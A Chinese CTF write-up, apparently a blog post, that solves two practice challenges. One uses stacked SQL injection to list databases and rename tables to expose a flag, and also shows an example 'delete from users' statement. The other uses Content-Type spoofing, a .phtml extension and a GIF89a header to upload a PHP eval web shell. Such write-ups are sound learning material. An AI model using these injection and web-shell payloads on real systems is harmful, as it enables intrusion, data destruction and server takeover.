CTF第七天

[强网杯 2019]随便注 1

先打这个

1' and 1=1#和
1' and 1=2#
返回结果不同,说明有sql注入

再打1' or 1=1#
虽然不知道这些信息有啥用
在这里插入图片描述
再看看有几列
当输入1' order by 3#时返回了报错信息,说明只有2列
在这里插入图片描述
接下来试试堆叠注入
堆叠注入原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

mysql> select * from users where id =1;delete from users;    //分号以前的句子功能是查询,后面的句子是删除用户

我们试试1'; show databases#返回了很多库
在这里插入图片描述
看着ctftraining感觉很可疑,我们来看看

1';show tables from ctftraining#

进去后有两个表名,我以为有东西,但输入

1';show columns from `FLAG_TABLE`#

没返回
那输入1'; show tables#看表名
在这里插入图片描述

一个一个库看看

1'; show columns from words#
1'; show columns from `1919810931114514`# 这里必须加这个`,在键盘左上角

words表中的
在这里插入图片描述
另一个表中的
在这里插入图片描述
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为

select id,data from words where id=

接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload(注意这是一个很长的堆叠注入):

1';rename table `words` to words2; ;rename table `1919810931114514` to `words`;;alter table words change flag id varchar(100);;show tables; ;show columns from words;# 

在这里插入图片描述
其他解法

[极客大挑战 2019]Upload 1

首先试了试,这个只能上传图片
我们上传个一句话木马,把Content-Type改成image/jpeg
在这里插入图片描述
发现php,php3,php4,php5都会被拦截
在这里插入图片描述
但是.phtml格式的文件可以

<script language="php">eval($_POST['shell']);</script>

于是构造这个上去,发现文件头也需要改
在这里插入图片描述
构造payloadGIF89a? <script language="php">eval($_POST['shell']);</script>
上传改文件类型为image/jpeg
在这里插入图片描述
上传成功
在这里插入图片描述
用蚁剑连,慢慢找就行,最后发现在根目录下
在这里插入图片描述

这里有<?过滤,所以以下两个木马不能用

<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>

这里有四个知识点
1.Content—type的绕过
2.文件后缀名,.phtml
3.文件头
4.<?的过滤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值